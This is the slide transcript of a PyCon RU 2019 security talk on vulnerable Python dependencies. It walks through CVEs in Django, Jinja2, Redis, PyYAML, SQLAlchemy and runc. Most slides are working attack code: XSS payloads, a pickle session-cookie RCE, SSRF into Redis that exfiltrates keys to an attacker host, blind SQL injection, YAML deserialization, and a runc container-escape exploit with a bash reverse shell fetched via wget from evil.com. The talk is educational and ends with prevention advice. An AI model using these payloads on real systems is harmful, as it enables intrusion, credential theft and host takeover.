Upgrade to Pro — share decks privately, control downloads, hide ads and more …

PyconRU 2019. (Un)safe dependencies.

PyconRU 2019. (Un)safe dependencies.

Ivan Tsyganov

June 24, 2019
Tweet

More Decks by Ivan Tsyganov

Other Decks in Programming

Transcript

  1. Tsyganov Ivan
    Positive Technologies
    (Un)safe
    dependencies

    View full-size slide

  2. A9
    Using Components
    with Known
    Vulnerabilities

    View full-size slide

  3. App1
    Django
    App2
    aiohttp
    App3
    telegram

    View full-size slide

  4. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Django
    djangorestframework
    Jinja2
    psycopg2-binary
    python 3.6

    View full-size slide

  5. <br/>document.addEventListener(<br/>'DOMContentLoaded',<br/>function(event) {<br/>$.ajax({<br/>url:'/api/goods/',<br/>success: function(result) {<br/>$(result).each(function() {<br/>$.ajax({<br/>url:'/api/goods/'+this.id+'/',<br/>type:'DELETE'<br/>})<br/>})<br/>}<br/>})<br/>}<br/>);<br/> http: //example.com

    View full-size slide

  6. <br/>document.addEventListener(<br/>'DOMContentLoaded',<br/>function(event) {<br/>$.ajax({<br/>url:'/api/goods/',<br/>success: function(result) {<br/>$(result).each(function() {<br/>$.ajax({<br/>url:'/api/goods/'+this.id+'/',<br/>type:'DELETE'<br/>})<br/>})<br/>}<br/>})<br/>}<br/>);<br/> http: //example.com

    View full-size slide

  7. <br/>document.addEventListener(<br/>'DOMContentLoaded',<br/>function(event) {<br/>$.ajax({<br/>url:'/api/goods/',<br/>success: function(result) {<br/>$(result).each(function() {<br/>$.ajax({<br/>url:'/api/goods/'+this.id+'/',<br/>type:'DELETE'<br/>})<br/>})<br/>}<br/>})<br/>}<br/>);<br/> http: //example.com

    View full-size slide

  8. django-rest-framework >= 3.9.1

    View full-size slide

  9. ...
    APPEND_SLASH = True
    ...
    settings.py
    urlpatterns = [
    ...
    re_path(r'^(.*)/$', universal_view),
    ...
    ]
    urls.py

    View full-size slide

  10. http: //app.ru //evil.com

    View full-size slide

  11. http: //app.ru //evil.com
    http: //evil.com

    View full-size slide

  12. django >= 2.0.8
    django >= 1.11.15
    CVE-2018-14574

    View full-size slide

  13. def universal_view(request, path=None):
    env = SandboxedEnvironment(loader=PackageLoader('core', 'templates'))
    return HttpResponse(
    env.from_string(
    f'{{% extends "error.html" %}}'
    f'{{% block error_msg %}} '
    f'Requested path : {path} not found'
    f'{{% endblock %}}'
    ).render(request=request)
    )

    View full-size slide

  14. def universal_view(request, path=None):
    env = SandboxedEnvironment(loader=PackageLoader('core', 'templates'))
    return HttpResponse(
    env.from_string(
    f'{{% extends "error.html" %}}'
    f'{{% block error_msg %}} '
    f'Requested path : {path} not found'
    f'{{% endblock %}}'
    ).render(request=request)
    )

    View full-size slide

  15. def universal_view(request, path=None):
    env = SandboxedEnvironment(loader=PackageLoader('core', 'templates'))
    return HttpResponse(
    env.from_string(
    f'{{% extends "error.html" %}}'
    f'{{% block error_msg %}} '
    f'Requested path : {path} not found'
    f'{{% endblock %}}'
    ).render(request=request)
    )

    View full-size slide

  16. def universal_view(request, path=None):
    env = SandboxedEnvironment(loader=PackageLoader('core', 'templates'))
    return HttpResponse(
    env.from_string(
    f'{{% extends "error.html" %}}'
    f'{{% block error_msg %}} '
    f'Requested path : {path} not found'
    f'{{% endblock %}}'
    ).render(request=request)
    )
    {{ "{x.__name__}".format_map(dict(x=request.get_host)) }}

    View full-size slide

  17. {{ "{x.__name__}".format_map(dict(x=request.get_host)) }}

    View full-size slide

  18. {{ "{x.__name__}".format_map(dict(x=request.get_host)) }}

    View full-size slide

  19. CVE-2019-10906
    Jinja2 >= 2.10.1

    View full-size slide

  20. {{ "

    {x.__globals__[settings].SECRET_KEY}

    {x.__globals__[settings].SESSION_ENGINE}

    {x.__globals__[settings].SESSION_SERIALIZER}
    ".format_map(dict(x=request.get_host))|safe
    }}

    View full-size slide

  21. {{ "

    {x.__globals__[settings].SECRET_KEY}

    {x.__globals__[settings].SESSION_ENGINE}

    {x.__globals__[settings].SESSION_SERIALIZER}
    ".format_map(dict(x=request.get_host))|safe
    }}

    View full-size slide

  22. {{ "

    {x.__globals__[settings].SECRET_KEY}

    {x.__globals__[settings].SESSION_ENGINE}

    {x.__globals__[settings].SESSION_SERIALIZER}
    ".format_map(dict(x=request.get_host))|safe
    }}

    View full-size slide

  23. {{ "

    {x.__globals__[settings].SECRET_KEY}

    {x.__globals__[settings].SESSION_ENGINE}

    {x.__globals__[settings].SESSION_SERIALIZER}
    ".format_map(dict(x=request.get_host))|safe
    }}

    View full-size slide

  24. {{ "

    {x.__globals__[settings].SECRET_KEY}

    {x.__globals__[settings].SESSION_ENGINE}

    {x.__globals__[settings].SESSION_SERIALIZER}
    ".format_map(dict(x=request.get_host))|safe
    }}

    View full-size slide

  25. from django.core import signing
    from django.contrib.sessions.serializers import PickleSerializer
    def decode_sid(SID):
    return signing.loads(
    SID,
    key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_',
    serializer=PickleSerializer,
    max_age=1209600,
    salt='django.contrib.sessions.backends.signed_cookies',
    )
    decode_sid('gASVMgAAAAAAAAB9lIwEdXVpZJSMJGM3ODgwM ...R2DK7jU')
    {'uuid': 'c78801e9-db4c-4f88-b988-f47a7f3ad172'}

    View full-size slide

  26. def encode_sid(command):
    class Evil():
    def __reduce__(self):
    import subprocess
    return (subprocess.getoutput, (command, ))
    return signing.dumps(
    {
    'uuid': '', 'evil': Evil()
    },
    key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_',
    compress=True,
    salt='django.contrib.sessions.backends.signed_cookies',
    serializer=PickleSerializer,
    )
    encode_sid("cat /etc/passwd")
    'gASVRwAAAAAAAAB9lCiMBHV1aWSUjAC ...dEBLRDs4C0uLGQ5mzkLy-K_fKnc'

    View full-size slide

  27. def encode_sid(command):
    class Evil():
    def __reduce__(self):
    import subprocess
    return (subprocess.getoutput, (command, ))
    return signing.dumps(
    {
    'uuid': '', 'evil': Evil()
    },
    key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_',
    compress=True,
    salt='django.contrib.sessions.backends.signed_cookies',
    serializer=PickleSerializer,
    )
    encode_sid("cat /etc/passwd")
    'gASVRwAAAAAAAAB9lCiMBHV1aWSUjAC ...dEBLRDs4C0uLGQ5mzkLy-K_fKnc'

    View full-size slide

  28. def encode_sid(command):
    class Evil():
    def __reduce__(self):
    import subprocess
    return (subprocess.getoutput, (command, ))
    return signing.dumps(
    {
    'uuid': '', 'evil': Evil()
    },
    key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_',
    compress=True,
    salt='django.contrib.sessions.backends.signed_cookies',
    serializer=PickleSerializer,
    )
    encode_sid("cat /etc/passwd")
    'gASVRwAAAAAAAAB9lCiMBHV1aWSUjAC ...dEBLRDs4C0uLGQ5mzkLy-K_fKnc'

    View full-size slide

  29. import requests
    def decode_sid(SID):
    ...
    def encode_sid(command):
    ...
    result = decode_sid(
    requests.get(
    'http: //target.com',
    cookies={
    'sessionid': encode_sid(
    command='cat /etc/passwd'
    )
    }
    ).cookies['sessionid']
    )

    View full-size slide

  30. import requests
    def decode_sid(SID):
    ...
    def encode_sid(command):
    ...
    result = decode_sid(
    requests.get(
    'http: //target.com',
    cookies={
    'sessionid': encode_sid(
    command='cat /etc/passwd'
    )
    }
    ).cookies['sessionid']
    )

    View full-size slide

  31. import requests
    def decode_sid(SID):
    ...
    def encode_sid(command):
    ...
    result = decode_sid(
    requests.get(
    'http: //target.com',
    cookies={
    'sessionid': encode_sid(
    command='cat /etc/passwd'
    )
    }
    ).cookies['sessionid']
    )

    View full-size slide

  32. import requests
    def decode_sid(SID):
    ...
    def encode_sid(command):
    ...
    result = decode_sid(
    requests.get(
    'http: //target.com',
    cookies={
    'sessionid': encode_sid(
    command='cat /etc/passwd'
    )
    }
    ).cookies['sessionid']
    )

    View full-size slide

  33. import requests
    def decode_sid(SID):
    ...
    def encode_sid(command):
    ...
    result = decode_sid(
    requests.get(
    'http: //target.com',
    cookies={
    'sessionid': encode_sid(
    command='cat /etc/passwd'
    )
    }
    ).cookies['sessionid']
    )

    View full-size slide

  34. import requests
    def decode_sid(SID):
    ...
    def encode_sid(command):
    ...
    result = decode_sid(
    requests.get(
    'http: //target.com',
    cookies={
    'sessionid': encode_sid(
    command='cat /etc/passwd'
    )
    }
    ).cookies['sessionid']
    )
    >>> pprint.pprint(result)
    {'evil': 'root:x:0:0:root:/root:/bin/bash\n'
    'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n'
    'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n'
    'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n'
    'sync:x:4:65534:sync:/bin:/bin/sync\n'
    'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n'
    'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n'
    'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n'
    'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n'
    'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n'
    'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n'
    'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n'
    'gnats:x:41:41:Gnats Bug-Reporting System '
    '(admin):/var/lib/gnats:/usr/sbin/nologin\n'
    '_apt:x:100:65534 ::/nonexistent:/bin/false',
    'uuid': 'c3b29bac-3ce7-45a5-8680-3bd2a6e51307'}

    View full-size slide

  35. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Django
    djangorestframework
    Jinja2
    psycopg2-binary
    python 3.6

    View full-size slide

  36. App2
    aiohttp
    App3
    telegram
    aiohttp-session
    aiohttp-jinja2
    aioredis
    aiopg
    sqlalchemy
    lxml
    PyYAML
    python 3.6
    App1
    Django

    View full-size slide

  37. Property="og:image"
    Content="https: //i.ebayimg.com/images/i/233117594563-0-1/s-l1000.jpg" />
    Property="og:title"
    Content="Python Cookbook, 3rd Edition, PDF ... | eBay" />
    Property="og:url"
    Content="https: // www.ebay.com/itm/Python-Cookbook- ...-for-Mastering-Python-" />
    Property="og:description"
    Content="If you need help writing programs in Python ... application domains." />

    View full-size slide

  38. Property="og:image"
    Content="https: //i.ebayimg.com/images/i/233117594563-0-1/s-l1000.jpg" />
    Property="og:title"
    Content="Python Cookbook, 3rd Edition, PDF ... | eBay" />
    Property="og:url"
    Content="https: // www.ebay.com/itm/Python-Cookbook- ...-for-Mastering-Python-" />
    Property="og:description"
    Content="If you need help writing programs in Python ... application domains." />
    ...
    property="og:title"
    content="Some $.ajax({url:'http: //evil.com/some_unique_path'}) </<br/>script>Title" /><br/>...<br/>

    View full-size slide

  39. Some
    <br/>$.ajax({<br/>url:'http: //evil.com/some_unique_path'<br/>})<br/>
    Title

    View full-size slide

  40. [01/Jan/2010:08:29:26 +0000] "GET /some_unique_path HTTP/1.1" 404
    659 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47
    Some
    <br/>$.ajax({<br/>url:'http: //evil.com/some_unique_path'<br/>})<br/>
    Title

    View full-size slide











  41. Very cool item

    ...

    View full-size slide











  42. Very cool item

    ...
    <br/>if (document.cookie.includes('hckd') ===false) {<br/>$.ajax({<br/>url:'/logout',<br/>success:function(resp){<br/>document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893';<br/>document.cookie='hckd=1';<br/>window.location.href='/'<br/>}<br/>})<br/>}<br/>

    View full-size slide











  43. Very cool item

    ...
    <br/>if (document.cookie.includes('hckd') ===false) {<br/>$.ajax({<br/>url:'/logout',<br/>success:function(resp){<br/>document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893';<br/>document.cookie='hckd=1';<br/>window.location.href='/'<br/>}<br/>})<br/>}<br/>

    View full-size slide











  44. Very cool item

    ...
    <br/>if (document.cookie.includes('hckd') ===false) {<br/>$.ajax({<br/>url:'/logout',<br/>success:function(resp){<br/>document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893';<br/>document.cookie='hckd=1';<br/>window.location.href='/';<br/>}<br/>})<br/>}<br/>

    View full-size slide

  45. aiohttp-session >= 2.4.0
    CVE-2018-1000519

    View full-size slide

  46. EVAL "
    for _, key in ipairs(redis.call('KEYS', '*')) do
    redis.call(
    'MIGRATE',
    'evils_redis_host',
    6379,
    key,
    0,
    5000,
    'COPY',
    'REPLACE'
    )
    end" 0

    View full-size slide

  47. EVAL "
    for _, key in ipairs(redis.call('KEYS', '*')) do
    redis.call(
    'MIGRATE',
    'evils_redis_host',
    6379,
    key,
    0,
    5000,
    'COPY',
    'REPLACE'
    )
    end" 0

    View full-size slide

  48. EVAL "
    for _, key in ipairs(redis.call('KEYS', '*')) do
    redis.call(
    'MIGRATE',
    'evils_redis_host',
    6379,
    key,
    0,
    5000,
    'COPY',
    'REPLACE'
    )
    end" 0

    View full-size slide

  49. http: //redis:6379/?q=HTTP/1.1 \r\n
    EVAL "for _,k in ipairs(redis.call('\''KEYS'\'',
    '\''*'\'')) do redis.call('\''MIGRATE'\'',
    '\''evils_redis_host'\'', 6379, k, 0, 5000,
    '\''COPY'\'', '\''REPLACE'\'') end" 0 \r\n

    View full-size slide

  50. curl --request POST \
    --url http: //target.com/goods \
    --header 'content-type: application/x- www-form-
    urlencoded' \
    --data 'url=http: //redis:6379/?q=HTTP/
    1.1%0D%0AEVAL "for _,k in
    ipairs(redis.call('\''KEYS'\'', '\''*'\'')) do
    redis.call('\''MIGRATE'\'',
    '\''evils_redis_host'\'', 6379, k, 0, 5000,
    '\''COPY'\'', '\''REPLACE'\'') end" 0 %0D%0A'

    View full-size slide

  51. curl --request POST \
    --url http: //target.com/goods \
    --header 'content-type: application/x- www-form-
    urlencoded' \
    --data 'url=http: //redis:6379/?q=HTTP/
    1.1%0D%0AEVAL "for _,k in
    ipairs(redis.call('\''KEYS'\'', '\''*'\'')) do
    redis.call('\''MIGRATE'\'',
    '\''evils_redis_host'\'', 6379, k, 0, 5000,
    '\''COPY'\'', '\''REPLACE'\'') end" 0 %0D%0A'

    View full-size slide

  52. 127.0.0.1:6379> KEYS *
    1) "SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a"
    2) "SESSIONID_b4bb7f94651d4d1496908b9a69150f03"
    3) "SESSIONID_af90efcc865f4433adcd51625c9120b4"
    4) "SESSIONID_8f07943134724991b6a356f6b75b7030"
    5) "SESSIONID_ee1eab3a789d4d63a6be31a579c98a55"
    6) "SESSIONID_d3b016fa73c6422b9166553e3783a78e"
    127.0.0.1:6379> GET
    SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a
    "{\"created\": 1559895192, \"session\":
    {\"username\": \"admin\", \"role\": \"admin\"}}"

    View full-size slide

  53. 127.0.0.1:6379> KEYS *
    1) "SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a"
    2) "SESSIONID_b4bb7f94651d4d1496908b9a69150f03"
    3) "SESSIONID_af90efcc865f4433adcd51625c9120b4"
    4) "SESSIONID_8f07943134724991b6a356f6b75b7030"
    5) "SESSIONID_ee1eab3a789d4d63a6be31a579c98a55"
    6) "SESSIONID_d3b016fa73c6422b9166553e3783a78e"
    127.0.0.1:6379> GET
    SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a
    "{\"created\": 1559895192, \"session\":
    {\"username\": \"user1\", \"role\": \"user\"}}"

    View full-size slide

  54. curl --request POST \
    --url http: //127.0.0.1/goods \
    --header 'content-type: application/x- www-form-urlencoded' \
    --data 'url=http: //redis:6379/?q=HTTP/1.1%0D%0ASET
    SESSIONID_ee1eab3a789d4d63a6be31a579c98a55 "{\"created\":
    1559895192, \"session\": {\"username\": \"admin\", \"role\":
    \"admin\"}}"%0D%0AX:%0D%0A'

    View full-size slide

  55. redis >= 3.2.7
    CVE-2016-10517

    View full-size slide

  56. python >= 3.7.3
    python >= 2.7.17
    CVE-2019-9947

    View full-size slide

  57. id limit (
    CASE WHEN(
    SELECT true FROM information_schema.tables
    WHERE table_name ~ '.*user.*' limit 1
    )
    then 1 else 0 end
    )

    View full-size slide

  58. id limit (
    CASE WHEN(
    SELECT true FROM information_schema.tables
    WHERE table_name ~ '.*user.*' limit 1
    )
    then 1 else 0 end
    )

    View full-size slide

  59. id limit (
    CASE WHEN(
    SELECT true FROM information_schema.tables
    WHERE table_name ~ '.*user.*' limit 1
    )
    then 1 else 0 end
    )
    id limit (
    CASE WHEN(
    SELECT true FROM information_schema.tables
    WHERE table_name = 'user' limit 1
    )
    then 1 else 0 end
    )

    View full-size slide

  60. id limit (
    CASE WHEN(
    SELECT true FROM users WHERE role = 'admin'
    and login = 'admin' and password ~ '.{8}'
    limit 1
    )
    then 1 else 0 end

    View full-size slide

  61. id limit (
    CASE WHEN(
    SELECT true FROM users WHERE role = 'admin'
    and login = 'admin' and password ~ '.{8}'
    limit 1
    )
    then 1 else 0 end
    id limit (
    CASE WHEN(
    SELECT true FROM users WHERE role = 'admin'
    and login = 'admin' and password ~ 'passw0rd'
    limit 1
    )
    then 1 else 0 end

    View full-size slide

  62. sqlalchemy >= 1.2.17
    CVE-2019-7548

    View full-size slide

  63. items:
    - name: Simple item
    description: Simple item description
    url: http: //my_goods.com/item1
    img: http: //my_goods.com/item1.png
    - name: Simple item 2
    description: Simple item 2 description
    url: http: //my_goods.com/item2
    img: http: //my_goods.com/item2.png

    View full-size slide

  64. items:
    - name: Simple item
    description: Simple item description
    url: http: //my_goods.com/item1
    unknown_field: !!python/object/apply:subprocess.check_output
    args:
    - ['python', '-c', 'from urllib.request import urlopen;
    urlopen("http: //evil_nginx/evil.html").getcode(); exit(0);']
    img: http: //my_goods.com/item1.png

    View full-size slide

  65. [1/Jan/2010:07:14:37 +0000] "GET /evil.html HTTP/1.1" 200 1126
    "-" "Python-urllib/3.6" "-"
    items:
    - name: Simple item
    description: Simple item description
    url: http: //my_goods.com/item1
    unknown_field: !!python/object/apply:subprocess.check_output
    args:
    - ['python', '-c', 'from urllib.request import urlopen;
    urlopen("http: //evil_nginx/evil.html").getcode(); exit(0);']
    img: http: //my_goods.com/item1.png

    View full-size slide

  66. PyYAML >= 5.1
    CVE-2017-18342

    View full-size slide

  67. App2
    aiohttp
    App3
    telegram
    aiohttp-session
    aiohttp-jinja2
    aioredis
    aiopg
    sqlalchemy
    lxml
    PyYAML
    python 3.6
    App1
    Django

    View full-size slide

  68. App3
    telegram
    pyTelegramBotAPI
    flask
    python 2.7.9
    App1
    Django
    App2
    aiohttp

    View full-size slide

  69. file: ///etc/

    View full-size slide

  70. file: ///code/bot.py

    View full-size slide

  71. python >= 3.7.3
    python >= 2.7.17
    CVE-2019-9948

    View full-size slide

  72. API_TOKEN = ''
    WEBHOOK_HOST = 'target.com'
    WEBHOOK_PORT = 443
    WEBHOOK_LISTEN = '0.0.0.0'
    WEBHOOK_SSL_CERT = './cert.pem'
    WEBHOOK_SSL_PRIV = './privkey.pem'
    WEBHOOK_URL_BASE = "https: //%s:%s" % (WEBHOOK_HOST, WEBHOOK_PORT)
    WEBHOOK_URL_PATH = "/secret_bot_hook/"

    View full-size slide

  73. ...
    OWNER_ID = 11111111
    ...
    @bot.message_handler(func=lambda message: message.from_user.id ==OWNER_ID,
    content_types=['text'], commands=['run'])
    def run_command(message):
    try:
    import commands
    _, _, command = message.text.partition(' ')
    status, output = commands.getstatusoutput(command)
    bot.send_message(message.chat.id, output)
    except:
    from traceback import format_exc
    bot.send_message(message.chat.id, format_exc())

    View full-size slide

  74. ...
    OWNER_ID = 11111111
    ...
    @bot.message_handler(func=lambda message: message.from_user.id ==OWNER_ID,
    content_types=['text'], commands=['run'])
    def run_command(message):
    try:
    import commands
    _, _, command = message.text.partition(' ')
    status, output = commands.getstatusoutput(command)
    bot.send_message(message.chat.id, output)
    except:
    from traceback import format_exc
    bot.send_message(message.chat.id, format_exc())

    View full-size slide

  75. ...
    OWNER_ID = 11111111
    ...
    @bot.message_handler(func=lambda message: message.from_user.id ==OWNER_ID,
    content_types=['text'], commands=['run'])
    def run_command(message):
    try:
    import commands
    _, _, command = message.text.partition(' ')
    status, output = commands.getstatusoutput(command)
    bot.send_message(message.chat.id, output)
    except:
    from traceback import format_exc
    bot.send_message(message.chat.id, format_exc())

    View full-size slide

  76. curl --request POST --url 'https: //target.com/
    bot_hook/' --header 'content-type: application/json'
    --data '{"update_id": 0, "message": {"message_id": 0,
    "from": {"id": 11111111, "is_bot": false,
    "first_name": "Some", "last_name": "User",
    "username": "some_user", "language_code": "en"},
    "chat": {"id": 777777777, "first_name": "Some",
    "last_name": "User", "username": "some_user", "type":
    "private"}, "date": 0, "text": "/run cat /etc/
    passwd", "entities": [{"offset": 0, "length": 4,
    "type": "bot_command"}]}}'

    View full-size slide

  77. curl --request POST --url 'https: //target.com/
    bot_hook/' --header 'content-type: application/json'
    --data '{"update_id": 0, "message": {"message_id": 0,
    "from": {"id": 11111111, "is_bot": false,
    "first_name": "Some", "last_name": "User",
    "username": "some_user", "language_code": "en"},
    "chat": {"id": 777777777, "first_name": "Some",
    "last_name": "User", "username": "some_user", "type":
    "private"}, "date": 0, "text": "/run cat /etc/
    passwd", "entities": [{"offset": 0, "length": 4,
    "type": "bot_command"}]}}'

    View full-size slide

  78. curl --request POST --url 'https: //target.com/
    bot_hook/' --header 'content-type: application/json'
    --data '{"update_id": 0, "message": {"message_id": 0,
    "from": {"id": 11111111, "is_bot": false,
    "first_name": "Some", "last_name": "User",
    "username": "some_user", "language_code": "en"},
    "chat": {"id": 777777777, "first_name": "Some",
    "last_name": "User", "username": "some_user", "type":
    "private"}, "date": 0, "text": "/run cat /etc/
    passwd", "entities": [{"offset": 0, "length": 4,
    "type": "bot_command"}]}}'

    View full-size slide

  79. curl --request POST --url 'https: //target.com/
    bot_hook/' --header 'content-type: application/json'
    --data '{"update_id": 0, "message": {"message_id": 0,
    "from": {"id": 11111111, "is_bot": false,
    "first_name": "Some", "last_name": "User",
    "username": "some_user", "language_code": "en"},
    "chat": {"id": 777777777, "first_name": "Some",
    "last_name": "User", "username": "some_user", "type":
    "private"}, "date": 0, "text": "/run cat /etc/
    passwd", "entities": [{"offset": 0, "length": 4,
    "type": "bot_command"}]}}'

    View full-size slide

  80. curl --request POST --url 'https: //target.com/
    bot_hook/' --header 'content-type: application/json'
    --data '{"update_id": 0, "message": {"message_id": 0,
    "from": {"id": 11111111, "is_bot": false,
    "first_name": "Some", "last_name": "User",
    "username": "some_user", "language_code": "en"},
    "chat": {"id": 777777777, "first_name": "Some",
    "last_name": "User", "username": "some_user", "type":
    "private"}, "date": 0, "text": "/run cat /etc/
    passwd", "entities": [{"offset": 0, "length": 4,
    "type": "bot_command"}]}}'

    View full-size slide

  81. App3
    telegram
    pyTelegramBotAPI
    flask
    python 2.7.9
    App1
    Django
    App2
    aiohttp

    View full-size slide

  82. App1
    Django
    App2
    aiohttp
    App3
    telegram

    View full-size slide

  83. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE

    View full-size slide

  84. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE
    yaml.load
    RCE

    View full-size slide

  85. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE
    yaml.load
    RCE
    Broken Access
    RCE

    View full-size slide

  86. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE
    yaml.load
    RCE
    Broken Access
    RCE

    View full-size slide

  87. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE
    yaml.load
    RCE
    Broken Access
    RCE
    import os
    import stat
    target_file = '/bin/sh'
    with open(target_file, 'w') as evil:
    evil.write('#!/proc/self/exe')
    os.chmod(target_file, stat.S_IXOTH)
    write_handler = None
    while not write_handler:
    for pid in os.popen('ps -A -o pid'):
    pid = pid.strip()
    if pid == 'PID': continue
    try:
    with open(f'/proc/{pid}/cmdline', 'r') as cmdline:
    if cmdline.read().find('runc') >= 0:
    handler = os.open(f'/proc/{pid}/exe', os.O_PATH)
    handler_path=f'/proc/self/fd/{str(handler)}'
    write_handler = os.open(handler_path, os.O_WRONLY | os.O_TRUNC)
    break
    except Exception:
    continue
    payload = b'#!/bin/bash\nbash -i >& /dev/tcp/127.0.0.1/4444 0>&1\n'
    result = os.write(write_handler, payload)
    exploit.py

    View full-size slide

  88. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE
    yaml.load
    RCE
    Broken Access
    RCE
    import os
    import stat
    target_file = '/bin/sh'
    with open(target_file, 'w') as evil:
    evil.write('#!/proc/self/exe')
    os.chmod(target_file, stat.S_IXOTH)
    write_handler = None
    while not write_handler:
    for pid in os.popen('ps -A -o pid'):
    pid = pid.strip()
    if pid == 'PID': continue
    try:
    with open(f'/proc/{pid}/cmdline', 'r') as cmdline:
    if cmdline.read().find('runc') >= 0:
    handler = os.open(f'/proc/{pid}/exe', os.O_PATH)
    handler_path=f'/proc/self/fd/{str(handler)}'
    write_handler = os.open(handler_path, os.O_WRONLY | os.O_TRUNC)
    break
    except Exception:
    continue
    payload = b'#!/bin/bash\nbash -i >& /dev/tcp/127.0.0.1/4444 0>&1\n'
    result = os.write(write_handler, payload)
    exploit.py

    View full-size slide

  89. root@attacker:/root# nc -k -l 4444

    View full-size slide

  90. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE
    yaml.load
    RCE
    Broken Access
    RCE
    wget http: //evil.com/exploit.py -O exp.py && python exp.py

    View full-size slide

  91. root@attacker:/root# nc -k -l 4444
    root@target:/root#

    View full-size slide

  92. root@attacker:/root# nc -k -l 4444
    root@target:/root# whoami

    View full-size slide

  93. root@attacker:/root# nc -k -l 4444
    root@target:/root# whoami
    whoami
    root
    root@target:/root#

    View full-size slide

  94. root@attacker:/root# nc -k -l 4444
    root@target:/root# whoami
    whoami
    root
    root@target:/root# cat /etc/passwd

    View full-size slide

  95. root@attacker:/root# nc -k -l 4444
    root@target:/root# whoami
    whoami
    root
    root@target:/root# cat /etc/passwd
    cat /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    ...

    View full-size slide

  96. docker >= 18.09.2
    CVE-2019-5736

    View full-size slide

  97. App1
    Django
    App2
    aiohttp
    App3
    telegram
    Pickle.load
    RCE
    yaml.load
    RCE
    Broken Access
    RCE
    runc allows attackers to overwrite the host runc binary

    View full-size slide

  98. How to prevent
    ✤ Remove unused dependencies and documentation

    View full-size slide

  99. How to prevent
    ✤ Remove unused dependencies and documentation
    ✤ Obtain components from pip or official sources

    View full-size slide

  100. How to prevent
    ✤ Remove unused dependencies and documentation
    ✤ Obtain components from pip or official sources
    distrib
    djanga
    easyinstall
    junkeldat
    libpeshka
    mumpy
    mybiubiubiu
    nmap-python
    openvc
    python-ftp
    pythonkafka
    python-mongo
    python-mysql
    python-mysqldb
    python-openssl
    python-sqlite
    smb
    virtualnv

    View full-size slide

  101. How to prevent
    ✤ Remove unused dependencies and documentation
    ✤ Obtain components from pip or official sources
    ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov

    View full-size slide

  102. How to prevent
    ✤ Remove unused dependencies and documentation
    ✤ Obtain components from pip or official sources
    ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov
    ✤ Use web application firewall

    View full-size slide

  103. How to prevent
    ✤ Remove unused dependencies and documentation
    ✤ Obtain components from pip or official sources
    ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov
    ✤ Use web application firewall
    XSS
    CSRF
    Open redirect
    Error leakage
    SQL-injection
    XML-inject

    View full-size slide

  104. How to prevent
    ✤ Remove unused dependencies and documentation
    ✤ Obtain components from pip or official sources
    ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov
    ✤ Use web application firewall
    ✤ Configure used software

    View full-size slide

  105. UPDATE
    KEEP
    CALM
    AND
    DEPENDECIES

    View full-size slide

  106. Thank you!
    @pt_pycon_bot

    View full-size slide